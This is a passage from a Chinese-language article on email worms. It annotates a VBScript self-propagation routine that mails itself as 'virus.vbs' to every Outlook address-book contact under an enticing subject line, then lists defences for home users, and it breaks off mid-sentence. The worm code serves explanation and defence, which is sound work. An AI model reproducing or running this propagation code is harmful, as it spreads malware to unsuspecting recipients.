| Set objOA=Wscript.CreateObject （"Outlook.Application"） （创建一个OUTLOOK应用的对象）Set objMapi=objOA.GetNameSpace （"MAPI"） （取得MAPI名字空间）For i=1 to objMapi.AddressLists.Count（遍历地址簿） Set objAddList=objMapi.AddressLists （i） For j=1 To objAddList. AddressEntries.Count Set objMail=objOA.CreateItem （0） objMail.Recipients.Add （objAddList. AddressEntries （j））（取得收件人邮件地址 ）objMail.Subject="你好!" （设置邮件主题，这个往往具有很大的诱惑性质） objMail.Body="这次给你的附件，是我的新文档！" （设置信件内容）objMail.Attachments.Add （"c:virus.vbs"） （把自己作为附件扩散出去 ）objMail.Send（发送邮件） NextNext Set objMapi=Nothing（清空objMapi变量，释放资源） set objOA=Nothing(清空objOA变量) 这一小段代码的功能是向地址簿中的用户发送电子邮件，并将自己作为附件扩散出去。这段代码中的第一行是创建一个Outlook的对象，是必不可少的。在其下是一个循环，在循环中不断地向地址簿中的电子邮件地址发送内容相同的信件。这就是蠕虫的传播性。 由此可以看出，利用vb script编写病毒是非常容易的，这就使得此类病毒的变种繁多，破坏力极大，同时也是非常难以根除的！ 4.个人用户对蠕虫病毒的防范措施 通过上述的分析，我们可以知道，病毒并不是非常可怕的，网络蠕虫病毒对个人用户的攻击主要还是通过社会工程学，而不是利用系统漏洞！所以防范此类病毒需要注意以下几点： (1)购合适的杀毒软件！网络蠕虫病毒的发展已经使传统的杀毒软件的"文件级实时监控系统"落伍，杀毒软件必须向内存实时监控和邮件实时监控发展！另外面对防不胜防的网页病毒，也使得用户对杀毒软件的要求越来越高！在杀毒软件市场上，赛门铁克公司的norton系列杀毒软件在全球具有很大的比例！经过多项测试，norton杀毒系列软件脚本和蠕虫阻拦技术能够阻挡大部分电子邮件病毒，而且对网页病毒也有相当强的防范能力!目前国内的杀毒软件也具有了相当高的水平。像瑞星，kv系列等杀毒软件，在杀毒软件的同时整合了防火强功能，从而对蠕虫兼木马程序有很大克制作用。 (2)经常升级病毒库，杀毒软件对病毒的查杀是以病毒的特征码为依据的，而病毒每天都层出不穷，尤其是在网络时代，蠕虫病毒的传播速度快，变种多，所以必须随时更新病毒库，以便能够查杀最新的病毒! (3)提高防杀毒意识.不要轻易去点击陌生的站点，有可能里面就含有恶意代码！ 当运行IE时，点击"工具→I | 